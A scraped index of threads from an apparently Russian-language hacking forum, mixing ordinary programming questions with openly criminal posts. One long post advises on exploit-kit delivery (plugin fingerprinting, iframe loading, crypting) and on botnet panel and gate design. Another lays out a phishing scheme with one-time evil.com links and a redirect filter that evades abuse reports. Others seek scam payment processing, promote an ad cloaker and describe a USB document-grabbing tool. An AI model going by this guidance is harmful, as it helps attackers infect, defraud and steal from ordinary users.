Вопрос: от нефиг делать решил смастерить в Basic`e небольшую игрушку и захотелось сделать её полноэкранной. Перерыл семь мануалов, но так ничего и не нашел. :(
Можно ли это сделать в принципе? :help:

Изменение цвета фона
элемента после ввода цифр. Как? JS
ID: 67668b27b4103b69df375deb
Thread ID: 29880
Created: 2019-06-20T12:42:55+0000
Last Post: 2019-07-05T16:54:15+0000
Author: conquistador
Replies: 4 Views: 6K

Всем Аве!

Столкнулся с такой вот проблемой. Не могу понять, как изменить цвет bg при нужных мне значениях.

Как пример:

У меня есть окно по середине страницы.

В этом окне есть текстовое поле.

При вводе в это поле значения по типу 432 (ключевая 1 четверка) цвет самого окна(НЕ СТРАНИЦЫ) меняется на желтый

Если это значение 5, на красный.

И т.д.

Не понимаю как это реализовать. Прошу помощи
Заранее спасибо :)

Защита своих .php
ID: 67668b27b4103b69df375ecc
Thread ID: 11283
Created: 2006-09-02T09:42:59+0000
Last Post: 2006-09-06T23:56:34+0000
Author: xhost
Replies: 22 Views: 6K

До сегодняшнего дня я создавал проги на заказ...
Продавал.. всяким сайтам.. но копирайты оставлял за собой, а так как никому верить нельзя использовал Zend SafeGuard для зашифровки файлов. Но у него есть недостаток на стороне сервера должен быть установлен Zend Optimizer для того чтоб сервер мог работать с данным файлом..

Вобщем столкнулся я с такой проблеммой пару минут назад...
Один из заказчиков плотит солидную сумму за скрипт.. но у него на серве нету Оптимайзер-а и зашифрованный скрипт он не сможет читать и воспринимать нормально..

Я к вам с таким вот вопросом.. как защитить мой сурс код? ну хоть частично..

Криптор
ID: 67668b27b4103b69df375eaf
Thread ID: 13070
Created: 2006-10-29T13:27:12+0000
Last Post: 2006-11-30T22:04:52+0000
Author: [инг]
Replies: 12 Views: 6K

нужен ссорс криптора
именно чтобы после криптации файл работал :)
или плиз литературу как реализовать на ВБ6

SMTP
ID: 67668b27b4103b69df375eae
Thread ID: 12502
Created: 2006-10-13T12:31:12+0000
Last Post: 2006-12-02T16:22:20+0000
Author: mr. Eof
Replies: 22 Views: 6K

Всем привет!

Так. Читаю стандарт SMTP и не вижу какой командой задать тему отправляемого письма?? Это же вроде бы - Subject да? Но господа! НЕТ! Не она!!! Не подскажете что это?

И еще! Как прикрепить файл к письму? Тоже не понимаю! Если кто может объяснить, то буду очень признателен! Спасибо!

PS: google и тд - спрашивал...

Распознавание CAPTCHA Mail.ru, Yandex.ru
ID: 67668b27b4103b69df375e46
Thread ID: 17743
Created: 2009-06-09T18:09:19+0000
Last Post: 2010-11-08T06:24:41+0000
Author: cosmik
Replies: 12 Views: 6K

Добился неплохих результатов распознавания CAPTCHA Mail.ru.
50-60% вероятность распознавания CAPTCHA на странице регистрации
80% при отправке письма

Занимаюсь китайской CAPTCHA Mail.ru. Результаты появляются отличные. Обучил свою OCR, символы расспознаются на ура. Остался алгоритм разбиения всей CAPTCHA на кластеры (сегментация), но учитывая её особенности большую проблему это не создает.

Yandex.ru на порядок сложнее распознать, но некоторые успехи достигнуты. Здесь имеются значительные проблемы с сегментацией, похоже сотрудники Yandex, в отличае от Mail.ru, все же знали что делают. Достаточно присмотреться и обнаружить белые линии на CAPTCHA разрезающие контуры цифр.

Занимался ли кто данной темой? Интересно знать результаты. Готов пообщаться в привате. Тема очень интересная.

Панель
ID: 67668b27b4103b69df375df8
Thread ID: 27100
Created: 2018-12-30T14:29:34+0000
Last Post: 2019-02-07T16:49:58+0000
Author: codedivision
Replies: 18 Views: 5K

Нуждаюсь в панели без жс и с поддержкой хеширования пасса в sha256 + динамическая соль.

Возможно сотрудничество с веб кодерами на постоянной основе.

Мнения о программе gryllotalpa-mini
ID: 67668b27b4103b69df375e82
Thread ID: 12596
Created: 2006-10-15T21:59:32+0000
Last Post: 2008-10-03T11:41:24+0000
Author: xooe
Replies: 3 Views: 5K

Вот написал программу хотел бы узнать мнение людей о ней

gryllotalpa-mini, умеет делать следующее

• Рекурсивный поиск и копирование файлов с расширением doc, xls, rtf
• Копирование файлов в каталог Data, создаваемый на том же диске, что и запускаемая программа
• Ведение журнала действий программы

Работает в режиме, запустил и забыл.

Служит для запуска с флешки, выбрал диск или папку на котором информация, запустил программу ............ потом отмонтировал флешку и пошел домой смотреть, что программа насобирала

Может кому будет интересна, нужна

подключайтесь к развитию программы идей масса, а времени реализовывать очень мало

пишите здесь свои отзывы.......................

безвозмездная помощь по PHP/PYTHON
ID: 67668b27b4103b69df375d6c
Thread ID: 29831
Created: 2019-06-18T11:38:42+0000
Last Post: 2021-12-09T08:48:42+0000
Author: DEVISDAT
Replies: 13 Views: 5K

Задавайте вопросы, постараюсь ответить на то, что знаю

Ломается верстка сайта
ID: 67668b27b4103b69df375dd1
Thread ID: 31387
Created: 2019-08-28T12:00:32+0000
Last Post: 2020-01-31T11:53:16+0000
Author: 9wassim
Replies: 2 Views: 5K

Пишу верстку на html и css.
В css указываю position: static; и расположение по left и top. В html создаю каскад из одного главного блока, в котором два мелких - хидер и контент.
В итоге, на моем размере экрана все норм, когда ставлю меньше/больше или телефоны - все съезжает в правый бок и сжимается вместе.

В чем может быть ошибка? И какую лучше позицию использовать в css?

LabVIEW (язык G)
ID: 67668b27b4103b69df375eab
Thread ID: 5521
Created: 2005-11-12T02:14:14+0000
Last Post: 2006-12-03T16:24:15+0000
Author: badk!tten
Replies: 12 Views: 5K

Кто-нибудь сталкивался с такой средой программирования (неподходящее слово..) как LabVIEW (G language)???

Если найдутся единомышленники - будет замечательно.
Кто хочет узнать подробнее - обращайтесь...
LabVIEW - графический язык программирования для создания виртуальных лабораторий и приборов.
В принципе, можно писать и вирусы, и даже управляемые через Сеть напрямую узлы.
Работает чуть-чуть медленнее C++ (по заверениям создателей).

Вопросы по GeoIP
ID: 67668b27b4103b69df375e7e
Thread ID: 16020
Created: 2008-10-21T13:20:20+0000
Last Post: 2008-11-19T20:30:56+0000
Author: el-
Replies: 12 Views: 5K

вот пинч высылает отчеты со всякими пасами и т.д. херотой, но по мимо высылает еще инфу о системе а именно название страны и язык который юзается на системе ... (результат работы апи функции GetLocaleInfo())

собственно интересует у фрицов язык на системе опеределяется как "Deutsch" или по не немецки пишется ( вроде тоже самое тока буква 'u' с двумя точками сверху )

гляньте если не сложно

Компилятор для perl
ID: 67668b27b4103b69df375eb8
Thread ID: 9963
Created: 2006-07-18T10:53:00+0000
Last Post: 2006-10-31T04:46:46+0000
Author: Anarhy
Replies: 19 Views: 5K

Созадл тему,так как не смог найти нигде...в поиск ходил,тоже не нашел..если че не пинайте плз)
Нужна ссылка на перл компилятор!в поисковиках выдает одну муть и статьи..дайте пожалуйста компилятор новенький.Буду очень благодарен!

АССЕМЛЕР _ помогите
ID: 67668b27b4103b69df375ede
Thread ID: 10349
Created: 2006-08-06T16:19:22+0000
Last Post: 2006-08-08T15:49:07+0000
Author: b1t
Replies: 14 Views: 5K

Здраствуйте.

Народ я начинающий кодер на ассемблере, т.к. у меня проблема с "HELLO WORLD"-ом... Наварно вам смешно, но это так..
Я написал 2 исходника: под EXE , и под COM ... дело в том, что COM-овский получился, а вот проблема с EXE-шником :bang:

Компилятор: TASM 5.0

Имя исходного кода: HELLO(.asm)
Выдает ошибку:

Assembling file: hello.asm
Error hello.asm(2) Undefined symbol: DATA
Error hello.asm(3) Undefined symbol: DATA
Error hello.asm(5) Undefined symbol: MES
Error hello.asm(14) Illegal instruction
Error hello.asm(15) Code or data emission to undeclared segment
Warning hello.asm(16) Unmatched ENDS: DATA
Error messages: 5
Warning messages: 1
Passes: 1
Remaining memory: 452k

Click to expand...

А вот сам исходный код:

Code:Copy to clipboard

Code segment
Assume CS:code, DS:data
mov AX, data
mov DS, AX
mov DX, offset mes
mov AH, 9
int 21h
mov AH, 10h
int 16h
mov AX, 4C00h
int 21h
code ends

Data cegment
mes db 'HELLO, WORLD!', 13, 10, '$'
data ends
end

Помогите исправить ошибку.. :sorry:

64kb Intro или невероятный способ сжатия
ID: 67668b27b4103b69df375ef4
Thread ID: 8104
Created: 2006-04-27T14:22:57+0000
Last Post: 2006-05-07T16:45:49+0000
Author: hawk2000
Replies: 16 Views: 5K

Знаете ли вы о максимальном до невероятности способе сжатия? Или о конкурсах ASSENBLY или BREAKPOINT? Наверное нет. Поетому
представляю вашему вниманию 64 kb intro. Ето шедевры програмирования на ASSEMBLER-е. Формат файла *.exe. Карты генерируютса в нереальном
времени по кодам и формулам. Существует не только видео но, и игры, созданные таким образом. Лидеры-производители такой продукцыи являютса
немецкая група Farbrausch и венгерская Conspiracy. Их продукцию можете скачать здесь:
http://www.farb-rausch.de/
http://conspiracy.hu/
Программы для создания подоьного можете скачать здесь:
http://conspiracy.hu:80/releases/aDDict2_Public.zip
ftp://145.24.145.100:21/pub/resources/dem...zeug1_v1200.zip

Вопрос по QBasic
ID: 67668b27b4103b69df375ef5
Thread ID: 8182
Created: 2006-05-02T13:27:12+0000
Last Post: 2006-05-07T02:53:50+0000
Author: Злюк
Replies: 9 Views: 5K

Вообщем вопрос такой можно ли написать какой-нить спецефический вирус,который можно написать только в qbasic? :D

Пасхальные яйца
ID: 67668b27b4103b69df375f11
Thread ID: 6238
Created: 2005-12-30T07:31:53+0000
Last Post: 2006-02-12T13:01:19+0000
Author: Amper
Replies: 12 Views: 5K

Кто какие знает пасхальные яйца? (для тех кто не в курсе, пасхальные яйца - приколы такие, когда присоздании программы люди работающие над ней делают какие-нибудь штуки не в тему).
Например:
1)Например если в Delphi в меню Help->About при нажатой клавише Alt набрать TEAM получиться... сами проверьте. Проверено на всех версиях.
2)Или вот в ворде напишите "Хочу избежать службу в армии"(без ковычек), а потом двойным щелчком кликнуть на книжку внизу экрана (проверка орфографии) он выдаст прикольную вещь.
3)При игре в сапёр (MSMineSwapper рулит!!)) при зажатом шифте наберите xyzzy.. и начните новую игру, в правом верхнем углу появится белый пиксел, который ичезает при наведении курсора на клетку с бомбой...
4)Вот еще вспомнил там же, в ворде, ввести "правоспособность-способность лица иметь гражданские права и нести обязанности" (без ковычек). Только не все сразу догоняют что случилось.

Php
ID: 67668b27b4103b69df375f22
Thread ID: 4202
Created: 2005-07-05T17:19:07+0000
Last Post: 2005-07-07T11:50:29+0000
Author: Alexej_m
Replies: 10 Views: 5K

Мужики дайте мне плиз литру по php.

Нужно снять обфускацию с кода
ID: 67668b27b4103b69df375e7a
Thread ID: 16651
Created: 2009-01-16T10:48:13+0000
Last Post: 2009-01-16T19:22:48+0000
Author: Mail2k
Replies: 7 Views: 5K

Люди, помогите,кто сможет,кому не трудно.
Нужно снять обфускацию с кода,чтобы код потом оставался нормально рабочим.

Файл прилагаю.

Опыт грязного ремесла.
ID: 67668b27b4103b69df375e58
Thread ID: 18737
Created: 2009-12-20T04:41:12+0000
Last Post: 2010-03-08T20:25:41+0000
Author: Одинокий Волк
Replies: 16 Views: 5K

Опыт грязного ремесла.

Почему я назвал именно так? Потому что я никогда не считал тем что делаю правильным или нужным во благо людям, я прекрасно осознаю что это делается для корыстных целей для обмана/кражи и т.п. и всё это ради денег, которые в итоге всех их губят, поэтому всё справедливо каждый получает своё...

Меня в этой сфере интересовало лишь одно - люди, я всегда старался понять их ход мышления, я не учился программированию, я учился мыслить по другому, только так я научился видеть то чего не видел раньше в том чего уже знал.

Я не претендую на правильность своих мыслей это всего лишь эксперименты из моего опыта, которые приносили определённые результаты в течение разного времени, отмечу что тут все мои мысли вперемешку без хронологии, к чему-то я пришёл уже очень давно, а что-то решил недавно.
Тут не будет готово кода или чего-то подобного, кто достоит понять, тот и так всё поймёт.

Часть 1. Связки.
Давным давно ещё когда мне приходилось делать связки я конечно же был далеко не первым и не делал сплойты. Всё было точно так же как и сейчас брали паблик сплойт, потом уже покупали через 10ые лицы приватные от реверсеров и вязали связки.
Смотря сейчас и сравнивая с тем что бы пару лет назад хочу сказать ничего не поменялось всё на том же уровне, очень странно но это так, хотя не без исключений.
Я поделюсь своим опытом из своих экспериментов при связкописании.

1. Первое что хочу отметить связка это не всего лишь админка которая показывает красивые статы, в первую очередь это интеллектуальная система которая анализирует трафик для того что бы подобрать подходящий сплойт на выдачу. Поэтому меня до сих пор удивляют связки по 600-1к+ в которых весь вывод идёт сплошным js кодом сплойтов один за другим, кто-то ставит таймеры, кто-то ставит переменные и ловит их выполнение...
Так вот я всегда руководствовался тем что прежде чем что-то делать нужно это придумать, даже если оно уже придумано. Ведь все мы люди и все мы разные, а значит и мыслим по разному. Мои изучения были наложены на сбор статистики, что бы понять как правильно нужно выдавать сплойты нужно было понять для чего их приходится выдавать. Были созданы мной совместно с моим партнёром 47 скрипты.
Статистику собирали следующую:
- ОС их версии
- Браузеры и их версии
- Плагины в браузерах и их версии (до сих пор нигде не встречал этого ну кроме последних где pdf и flash определяется, а ведь странно потому что сплойты 90% это баги в плагинах)
Сейчас думаю это не будет секретом очень много генеренного трафика, добавив проверку на работу js и простую проверку с куками и редиректом можно его отсеить и увидеть кстати внушительные цифры если собрать в отдельную стату он будет не меньше 10% что уменьшают пробив пустой выдачей сплойтов, а это уже недоработка связки.

Так вот анализ трафика с разных источников по этим данным показал довольно ясную картину на сколько этот трафик вообще пробиваемый. Но что самое главное в чём была суть определить % наличия уязвимых плагинов под которые есть сплойты.
Даже после такого анализа можно только примерно составить процент пробива на данном трафике.
И так идём дальше ближе к кодерской сути.
Для правильной выдачи сплойтов мы использовли определение js и проверку кук, ОС, Браузера, учитывая версии, определять наличие уязвимого плагина в браузере и только после этого собирать выдачу из подходящих вариантов или делать бэк редирект.

Что касается о самой выдачи сплойтов о чём я писал выше, вариант со сплошной выдачей, таймерами и переменными в моих экспериментах показали себя хуже чем мой вариант с ифреймами.
Небольшая ремарка: 47 в новых тестах сказал что моя версия работает похуже и сделал новую свою выдачу, поэтому решать на сколько это хорошо вам.
Что же это за ифреймы, постараюсь объяснить с начало теорию почему я к ним пришёл.
И так моя логика пошла от работы самого сплойта, т.е. это выполнения шеллкода в выделенном участке памяти другого процесса. И тут я подумал а что же бывает когда мы выполняем по 3-4 сплойта в одном и том же процессе но используем разные уязвимости только получается эффективность должна снижаться и вообще могут быть непредсказуемые последствия типа overflow т.к. сплойты не предназначены для параллельной работы.
А что из себя представляют ифреймы - это как я думаю всё же дочерние процессы или отдельные как в некоторых браузерах табы, которые независимые друг от друга их объединяет только процесс-родитель, а значит мы получаем место полигона для каждого сплойта. Таким образом после проведения анализа я сделал выдачу в ифреймах каждый сплойт подгружался в отдельном. Работать они стали значительно быстрее и эффективность пробива увеличилась.

В заключение хочу сказать про крипторы выдачи. Криптор должен не только уметь разбавлять код или обфусцировать но и иметь пакер, чем больше размер сплойта тем меньше вероятность его выполнения, всё таки он стоит не на самом сайте а грузиться через ифрейм который является внутренней страницей сайта и может быть выгружен или произойти редирект и сплойт не успеет отработать, а его время выполнения зачастую зависит от параметров железа юзера т.к. js выполняется на стороне клиента а не сервера. Так же криптор не должен иметь кучи циклов которые могут привести к ошибкам браузера, например ФФ все его функции так или иначе связаны с js всякие настройки модули и порой даже в обычном коде они вызывают ошибки пока не перезапустишь браузер, поэтому стоит это обязательно учитывать.

Думаю на этом можно подвести итог.

Часть 2. Админки для троянов.
Многие кто пишут админки зачастую начинающие кодеры или вообще не вебкодеры а прикладные пытающиеся написать самому админку что бы никому не надо было платить или с кем-то делиться.
Из своих наблюдей и опыта могу лишь поделиться некоторыми особенностями в этом деле, т.к. что бы написать админку для серьёзного ботнета мало знать просто php и mysql их нужно отлично знать, а главное нужно понимать весь принцип работы что бы делать заплатки на все узкие места которых в таких проектах очень много.
Про сами админки думаю рассказывать нечего делайте юзабильно удобно и функционально, это дело каждого как она будет выглядеть и какой функционал вести.
Я хочу уделить внимание части где идёт работа с самим ботом, а так же немного об проектировании архитектуры БД.

Прежде чем начать что-то писать лично я беру листок бумаги и карандаш и начинаю рисовать, т.к. стереть резинкой и перерисовать гораздо быстрее чем при тестировании переписать код :)
Но рисовать конечно надо не окошки где что будет, а рисовать структуру базы данных.
Нужно определиться с функционалом бота что бы правильно и оптимизировано сделать общения с ним, ведь их будет тысячи.
Я отмечу несколько пунктов которые помогают при больших нагрузках:
1. Таблицы не должны иметь много полей (как делают например в зевсе по 15-20 :)
2. Если предполагается большое кол-во строковых параметров типов varchar и text то лучше вынести их в отдельные таблицы и сделать связующим id.
Теперь объясню почему нужны эти 2 пункта. MySQL имеет свои лимиты а именно позволяет в одной таблицы хранить до 4Гб данных, на сколько помню это связано с файловой системой ОС. Так вот если вы рассчитываете что ваш ботнет будет иметь 100к ботов тогда сразу нужно посчитать какие данные вы о ботах будете хранить и учесть эти данные в байтах после чего умножить на 100к и выяснить поместиться ли это, забегу на перёд учитывайте так же поиск по этим данных например если бот уже есть в БД или выборку по стране или типу к примеру, ведь SELECT это не INSERT он резервирует память при поиске в таблице и чем больше там данных тем больше потребует памяти что бы в них поискать.
3. Если данные в таблицах о боте будут обновлятся при каждом его отстуке, то эти данные должны быть связаны 1 параметром бота либо его id который будет auto_increment в главной таблице, либо его id который будет передавать сам бот, это нужно что бы можно было сделать выборку этих данных в 1 запрос с помощью LEFT JOIN а не пришлось делать по не скольку запросов.
4. Таблицы для логов нужно создавать в зависимости от их назначения и дальнейшего использования. Т.е. например если это соксы то можно хранить всё в 1 таблице так будет удобнее с ними работать а главное менее затратно по ресурсам. Если это логи трояна, то лучше делать разбивку на даты используя вложенные таблицы формата 2009_12__20, 2009_12__21, а так же придерживаясь правилам 1 и 2 для этих таблиц.

Думаю эти основные момент с которыми я сталкивался при проектирование.
Дальше перейдём к гейту - скрипту работающим с ботом.
В нём я хочу отметить следующие правила:
1. Использовать нужно минимальное кол-во обращений к БД, не стоит делать лишних.
2. Не нужно делать поисков и выборок по большим таблицам или спискам таблиц, не в коем случаи нельзя использовать LIKE %%.
3. INSERT лучше использовать с DELAY
По этим 3-м пунктом причина одна, нужно максимально сократить время на выполнения всех запросов и отдачи ответа боту, т.к. он держит соединение с сервером забивает канал, а так же при долгих запросах если они будут частые будут сбои в работе БД. Самый оптимальный вариант это в 3 запроса(он может быть больше и не портить картины):

  1. Определили новый бот или нет
  2. Получили список команд
  3. Обновили данные о боте или добавили нового
    Всё. Остальное уже нужно оптимизировать в минимальное кол-во запросов и с минимальными затратами на память и время.
    4. При выдачи команд лучше их шифровать, я всегда использую между обменом данных с ботом рандомный ключ внутри самих команд определяющий по кол-ву символов или чему-то другому.
    5. Если нужно передавать боту файлы на сервер лучшей вариант будет передача через PUT а приём через php://input так надёжнее и быстрее.
    6. Так же лучше всего использовать mod_rewrite и id заданий или файлов для их отдачи по отдельным url, если в этом есть необходимость.
    7. Для защиты лучше использовать header параметр который вшит в бота, в нём передавать ключевую фразу которую проверять в запросах, так же можно использовать алгоритм который будет динамически генерировать эту фразу от каких-то особых постоянно меняющихся параметров что бы для каждого запроса она была уникальный, например: от времени и урл md5 хеш. Так же можно генерировать от времени и ид бота временные урл по которым бот может взять только 1 раз задание или файл.

Ну думаю на этом советов хватит, главное что админка должна проектироваться вместе с ботом а не отдельно, только тогда можно будет достичь максимально эффекта взаимодействия, например учитывать интервал отстука бота и интервал отправки логов тем самым разгружая от большого кол-во запросов на сервер. А так же использование шифрования и других средств защиты обмена данных.

20.12.2009 (с) Одинокий Волк aka Lonely Wolf

UPD. Добавлена перелинковка со статьёй на других форумах, т.к. везде разные комментарии и некоторые интересные вопросы и ответы на них.
https://forum.web-hack.ru/index.php?showtopic=91869
http://exploit.in/forum/index.php?showtopic=31258

UAC
ID: 67668b27b4103b69df375e49
Thread ID: 20192
Created: 2010-08-18T17:52:21+0000
Last Post: 2010-10-13T21:09:57+0000
Author: at0m
Replies: 21 Views: 5K

Всем Привет
Помогите что то с ним сделать сит. след.:
есть AV в захвате SSDT (некоторые функции тоесть жижненные =) )
без AV обхожу inject - том помимо инжекта есть решения ?
я готовый код не прошу, прошу лишь намек в какую сторону рыть ?
Зарание спасибо

fsockopen() или кодим сокеты в php
ID: 67668b27b4103b69df375f10
Thread ID: 6802
Created: 2006-02-01T09:02:37+0000
Last Post: 2006-02-15T07:21:16+0000
Author: red_byte
Replies: 10 Views: 4K

Code:Copy to clipboard

#######################
# Автор: red_byte            
# Источник:http://darkcoders.net 
#######################

[Функция fsockopen()]
Я надеюсь, ты уже знаешь, что такое сокеты, поэтому не будем терять времени на теорию, а приступим сразу к практике. Для наглядности рассмотрим самый банальный пример - получение HTTP-заголовков от сервера.

Code:Copy to clipboard

<?
$timeout = 25;
$host = "darkcoders.net";
$port = 80;
$page="index.php";
//Открываем сокет
$sock = fsockopen($host,$port,$errno,$errstr,$timeout);
if (!$sock)
{print "Невозможно открыть сокет
$errstr($errno)";}
//Формируем HTTP-запрос
fputs($sock,"GET http://darkcoders.net/$page HTTP/1.0\r\n\r\n");
//Читаем из сокета первые 200 байт
$header = fgets($sock,200);
fclose($sock);
//Сравниваем первые 15 байт обоих строк
if (strncmp($header,"HTTP/1.1 200 OK",15)==0)
//Если совпадают...
{
print "Страница существует";
} else
{
//Если не совпали, значит ошибка
print "Такой страницы нет
Header: ".$header;
}
?>

В данном коде мы открываем соединение с сервером darkcoders.net на 80 порт и запрашиваем

страницу, определенную в переменной $page. Далее мы сравниваем первые 15 строк с

эталоном, и если все совпадает, тогда страница существует.
Допустим, нам надо получить не только заголовки, но и весь код страницы.
Реализуется это так:

Code:Copy to clipboard

<?
//Открываем сокет
$sock = fsockopen("darkcoders.net", 80, $errno, $errstr, 30);
//Если ошибка, то выводим ее
if (!$sock) 
{
echo "$errstr ($errno)
\n";
} else 
{
//Делаем HTTP-запрос
    fputs ($sock, "GET / HTTP/1.0\r\nHost: darkcoders.net\r\n\r\n");
//Пока не дойдем до конца, 
    while (!feof($sock)) 
        {
        //читаем блоками по 200 байт и выводим их
        echo fgets ($sock,200);
        }
//Закрываем сокет
    fclose ($sock);
}

?>

Как видишь, взаимодействовать с plain-text'овыми сетевыми сервисами довольно просто. Таким образом можно взаимодействовать не только с HTTP, но и с IRC, FTP, TELNET и некоторыми другими протоколами. Ну вот, теперь ты можешь написать свое небольшое сетевое приложение, которое, возможно станет изюминкой твоего сайта.
(При копировании статьи обязательно указывать источник)

Деобфускация JavaScript кода
ID: 67668b27b4103b69df375cc6
Thread ID: 38451
Created: 2020-06-15T13:11:36+0000
Last Post: 2024-05-30T08:09:07+0000
Author: tabac
Replies: 14 Views: 4K

**Варианты деобфускации JavaScript кода

1. Читаемый вид JavaScript в браузере**
Современные браузеры умеют сжатый для экономии трафика код разворачивать в исходное состояние.
В Chrome (Chromium) - кнопка F12 , выберите вкладку Sources и нажмите на иконку с фигурными скобками { }
В Firefox эта кнопка доступна на вкладке «Отладчик »

2. JStillery

Bash:Copy to clipboard

git clone https://github.com/mindedsecurity/JStillery
cd JStillery
sudo npm install

+ программа доступна как в виде онлайн сервиса от автора: https://mindedsecurity.github.io/jstillery/

3. JavaScript онлайн деобфускатор
Адрес сервиса: http://deobfuscatejavascript.com

4. JS Beautifier

Bash:Copy to clipboard

sudo apt install npm
sudo npm -g install js-beautify
js-beautify -h

онлайн сервис от авторов: https://beautifier.io

5. UglifyJS

Bash:Copy to clipboard

sudo apt install uglifyjs

Пример запуска: для улучшения вида файла используется опция -b ; файл (или несколько файлов) нужно указывать перед опциями:
uglifyjs medium.js -b
Также программа может обрабатывать файлы переданные по стандартному вводу:
cat medium.js | uglifyjs -b

[FREE] Binomo Cloaker ( Best System)
ID: 67668b27b4103b69df375d8a
Thread ID: 46865
Created: 2021-01-16T20:07:44+0000
Last Post: 2021-06-07T09:41:43+0000
Author: thismec
Prefix: Статья
Replies: 2 Views: 4K

Source:https://github.com/dvygolov/BinomoCloaker

What is Binomo Cloaker ?

Binomo cloaker is a free cloaking script for excellent enterprise marketing that was previously shared open source on hacker forums and is still being developed by yellow web.

What are The Advantages ?

It is no different from cloaker systems rented on the market, and I can even say the best cloaker system for me.The filtering feature features ad integration, such as Facebook and Google. It has many features that I don't count :D

Drawback
The only disadvantage is that it does not have a user interface.

Should I use ?

my answer: absolutely

Прием платежей для скам проекта ( USA/EU )
ID: 67668b27b4103b69df375dad
Thread ID: 41773
Created: 2020-09-04T21:14:05+0000
Last Post: 2020-11-16T21:18:30+0000
Author: html5
Replies: 9 Views: 4K

Сабж. Как можно это организовать с минимальными затратами?

Создание Безопасных Веб-приложений
ID: 67668b27b4103b69df375dae
Thread ID: 3639
Created: 2005-04-28T13:07:37+0000
Last Post: 2020-11-16T11:02:06+0000
Author: antiox
Prefix: Статья
Replies: 1 Views: 4K

Создание безопасных php-приложений

Эту статью я решил написать не потому что хочу помочь начинающим кодерам, а просто потому что надо чем-то заполнить контент сайта. Шутка. На самом деле я преследовал именно благородные цели, хотел принести свой собственный вклад в развитие секурного web-программирования=). И так, сразу говорю, что в основном я здесь рассмотрю ошибки (не углуб**ясь в их суть) и их устранение в языке PHP. Попытаюсь собрать самые часто распространенные недочеты. Начну с самых распространенных и "попсовых" багов=).

1. CSS (CrossSiteScripting или XSS)
Обычно такая ошибка возникает, когда какому-либо скрипту передается параметр, который впоследствии выводится на html-страницу, при этом не проходя определенную фильтрацию на содержание тегов. Рассмотрим пример подобной уязвимости, которую я нашел в декабре 2004 года на mail.ru (эх, жалко, что я тогда даже не знал, что это - уязвимость): при отправке письма пользователю надо заполнить форму, в которой указывался адрес получателя, тема письма, ну и само письмо (правда, контент письма не играл не какой роли). При нажатии кнопки "Отправить" отправитель переходил на страницу, на которой ему сообщалось, что сообщение для такого-то с темой такой-то успешно отправлено. Но уязвимость заключалась в том, что адрес получателя и тема письма передавались этой странице в открытом виде методом GET, т.е. эти данные отражались в адресной строке. Увидев это, у меня возникло желание заменить параметры на html-теги. Сработало! А значит, если передавать в параметр java- script, то он будет выполняться у любого юзера, который откроет "такую" страницу. Теперь подробнее о том, как избежать такой уязвимости при создании своего скрипта. Основное правило - фильтрация входных данных, поступающих от пользователя. В php это делается функциями htmlspecialchars() и striptags(). Лично я пользуюсь последней, но принципиальной разницы нету, обе функции равноправны. Они просто удаляют теги из входной строки (естественно, можно задавать разрешенные теги). И ещё один совет: если вы пользуетесб html-формами для взаимодействия со скриптами, то метод, с помощью которого они будут передавать данные должен быть "POST"!!! Это, по крайней мере, не будет в открытом виде высвечивать в адресной строке, что и куда передаётся… В более- менее продвинутых форумах сейчас также практикуется XSS через BBcode, но об этом уже не в этой статье…

2. Ошибка php-include
В суть самой уязвимости, как я сказал в начале, я вникать не буду, а сразу перейду к способам её устранения. Чтобы избежать присоединения "левого" кода к вашему скрипту, есть один проверенный способ: пропустить входные данные (имя присоединяемого файла) через оператор условия. Например:

Также, можно использовать оператор "if". Из своего личного опыта могу сказать, что довольно часто встречалась такая ситуация: есть файл index.php, в котором открывается для использования какой-нибудь статический файл, и к этому index.php функцией include присоединялся другой php-файл, в котором уже шла работа непосредственно с тем статическим файлом. На примере это выглядит примерно так:

а в файле file_functions.php примерно такое содержание:

Таким образом, указатель на присоединяемый файл file.php объявлен во внешнем файле, и если вызвать отдельно "file_functions.php?file=script.php", то выведется содержание любого файла на сервере (по крайней мере, если файл - из WWW-директории и, конечно же, должно быть regiter_globals=on ). Всем этим я хотел сказать, что объявлять указатель на файл надо в том же скрипте, который с этим файлом и работает (фууф, надеюсь, все понятно).

3. SQL-injection
Сегодня уже можно с уверенностью сказать, что если скрипт вызывается с параметром "id", или чем-то похожим, то он (скрипт) работает с БД, и этот самый параметр участвует в запросе. Как правило, в параметр, a участвующий в запросе, передается числовое значение поля, по которому данные изымаются из таблицы. Чтобы избежать изменения запроса (посредством изменения параметра: добавление кавычек, union select, или других выражений MYSQL), нужно, чтобы в параметр передавалось ТОЛЬКО ЧИСЛО. В этом поможет функция intval(), которая преобразует заданную переменную в числовую. Пример:

В данном случае, после обработки, переменная $var будет равна ЧИСЛУ 100. Так что на sql-запросе подстановка неправильных параметров не отразится.

4. Другое….
В одном из самодельных (да, в паблик-продуктах таких идиотских ошибок не может быть) форумов я нашел такую ошибку: в один из параметров передавалось не что иное, а php-код!!! Для меня в том случае было ещё одно обстоятельство, которое не могло не радовать: на сервере стояла Винда, так что было где поразвлечься! Команды выполнялись практически, дело дошло уже до того, что я вписывал в параметр код целыми строками. Да… Идиотская прореха…
Пока это всё, но обновления скоро будут.....

Копирование материала без разрешения автора (antiox'а, т.е. МЕНЯ) запрещено. В оригинале статью можно прочитать на моем сайте antiox.loteam.net

Как реализовать идею?
ID: 67668b27b4103b69df375dd2
Thread ID: 34522
Created: 2020-01-22T16:55:02+0000
Last Post: 2020-01-22T18:47:10+0000
Author: DrSleep
Replies: 6 Views: 4K

При рассылке фишинга, бдительные пользователи зачастую переотправляют фишинг письма в саппорт, где сап с легкостью тянет наш

Click to expand...

переходит на него, видит что фишинг и шлет абузу по домену, хостингу, трампу в телегу.
Моя идея такова, чтобы каждый заход на фэйк по

?id=holdermail@mail.cc

Click to expand...

был одноразовым.То есть
1)Джон получает фишинг письмо, переходит по ссылке, вводит пароль и отправляется в зависимости от разводки
2)Но Джон заподозрил что-то неладное, и пересылает наше письмо в службу поддержки (Email сервиса,биржы,банка) с вопросом WTF?
3)Билл из службы поддержки получает письмо от Джона, переходит по линку и видет там фишинг сайт.Шлет абузы по всем направлениям.

Суть в том, что после того как Джон перейдет по ссылке заточенной под него

evil.com/?id=john@mail.cc

Click to expand...

, то при повторном заходе по этой же ссылке,будет открываться не фишинг сайт, а наш белый сайт (либо pornhub, закос под рассылку порнухи или датинг).
Вижу схему так-регаем кучу доменов недорогих .XYZ для редиректа, пару фишинг доменов для фэйка.
В само письмо вставляем ссылку вида

redirect.xyz/in.php?id=john@mail.cc

Click to expand...

, где in.php и будет наш фильтр.
В сам фильтр будет встроен чекер доменов фэйка на Safe Browsing и чекер уникальности и редирект.
